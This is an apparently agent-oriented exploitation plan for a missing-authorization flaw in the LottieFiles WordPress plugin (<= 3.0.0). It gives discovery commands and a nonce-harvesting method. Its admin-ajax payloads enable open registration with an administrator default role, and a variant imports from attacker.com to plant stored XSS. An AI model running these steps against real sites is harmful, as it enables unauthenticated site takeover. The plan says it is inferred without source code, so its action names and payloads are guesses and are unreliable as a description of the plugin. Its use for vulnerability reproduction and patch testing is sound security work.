LottieFiles <= 3.0.0 - Missing Authorization

As source files for LottieFiles <= 3.0.0 are not provided, this research plan is based on the vulnerability description (Missing Authorization) and common patterns in the LottieFiles plugin architecture. The CVSS 9.8 suggests a critical unauthorized action, likely affecting settings or data import.

1. Vulnerability Summary

The LottieFiles plugin for WordPress is vulnerable to Missing Authorization in versions up to 3.0.0. The vulnerability exists because one or more AJAX handlers (or REST API endpoints) perform sensitive actions—such as updating plugin settings, importing files, or modifying site configuration—without verifying if the user has the necessary permissions (e.g., current_user_can('manage_options')). Because these handlers are likely registered using wp_ajax_nopriv_*, they are accessible to unauthenticated attackers.

2. Attack Vector Analysis

• Endpoint: http://<target>/wp-admin/admin-ajax.php (or a REST route under /wp-json/lottiefiles/v1/...).
• Action (Inferred): Likely an action related to save_settings, update_api_key, or import_lottie.
• Payload Parameter: action (for AJAX), plus data parameters like settings[], option_name, or url.
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred Trace)

The agent should confirm this trace by searching the codebase:

1. Entry Point: An add_action call for wp_ajax_nopriv_[vulnerable_action] in a file like includes/class-lottiefiles-admin.php or the main plugin file.
2. Callback: The hook points to a function (e.g., LottieFiles_Admin::save_settings).
3. Missing Check: The callback function likely contains logic to process $_POST data but lacks a current_user_can() call.
4. Sink: The data is passed to update_option(), wp_insert_post(), or a file system operation.

4. Nonce Acquisition Strategy

If the vulnerable function uses check_ajax_referer() or wp_verify_nonce(), a nonce must be obtained.

1. Identify the Script Localization: Look for wp_localize_script in the plugin code.
   • Search Command: grep -rn "wp_localize_script" .
   • Look for an object name like lottiefiles_admin, lf_vars, or lottie_settings.
2. Locate the Nonce Key: Within that object, identify the key for the nonce (e.g., nonce, ajax_nonce, _wpnonce).
3. Identify the Trigger Page: Find where the script is enqueued. If it's on the admin dashboard, unauthenticated users might not see it. However, if it's enqueued on the frontend for the Lottie player, it will be accessible.
4. Execution via Agent:
   • Create a post with a Lottie shortcode if necessary: wp post create --post_type=page --post_status=publish --post_content='[lottie_player]' (Verify actual shortcode via grep -rn "add_shortcode" .).
   • Navigate to the page: browser_navigate("http://localhost:8080/test-page").
   • Extract nonce: browser_eval("window.lf_vars?.nonce") (Replace lf_vars and nonce with discovered names).

5. Exploitation Strategy

The goal is to modify a sensitive WordPress option (e.g., users_can_register) to gain administrative access.

1. Discovery Phase:
   • Run grep -rn "wp_ajax_nopriv" . to find all unauthenticated AJAX entry points.
   • For each found action, check the callback for update_option or update_user_meta without permission checks.
2. Targeting Settings (Hypothetical):
   If the action is lottiefiles_update_settings, the payload might look like:
   • Method: POST
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Body: action=lottiefiles_update_settings&nonce=[NONCE]&users_can_register=1&default_role=administrator
3. Alternative Targeting (Remote Import):
   If the action allows importing via URL:
   • Body: action=lottiefiles_import&url=http://attacker.com/malicious.json (This could lead to Stored XSS if the JSON contains scripts executed by the player).

6. Test Data Setup

1. Plugin State: Ensure LottieFiles <= 3.0.0 is installed and active.
2. Baseline Check:
   • wp option get users_can_register (Expected: 0)
   • wp option get default_role (Expected: 'subscriber')
3. Shortcode Page: Create a page to expose scripts if necessary.

7. Expected Results

• HTTP Response: The admin-ajax.php endpoint should return a 200 OK and likely a JSON response like {"success":true} or the integer 1.
• Database Change: The targeted option (e.g., users_can_register) should be updated in the WordPress database.

8. Verification Steps

After the exploit request, use WP-CLI to verify the state change:

1. wp option get users_can_register
   • Success: Returns 1.
2. wp option get default_role
   • Success: Returns administrator.
3. If the exploit allowed file upload:
   • ls -la wp-content/uploads/lottiefiles/ (Verify the uploaded file exists).

9. Alternative Approaches

If no wp_ajax_nopriv handlers are found, investigate:

• REST API: Search for register_rest_route. Check if any route has 'permission_callback' => '__return_true' or lacks the parameter entirely.
• Generic Handlers: Check if the plugin uses a global init or admin_init hook to process $_REQUEST parameters directly without using the AJAX/REST APIs.
  • Search Command: grep -rn "add_action.*init" . then look for $_POST or $_GET usage within the callback.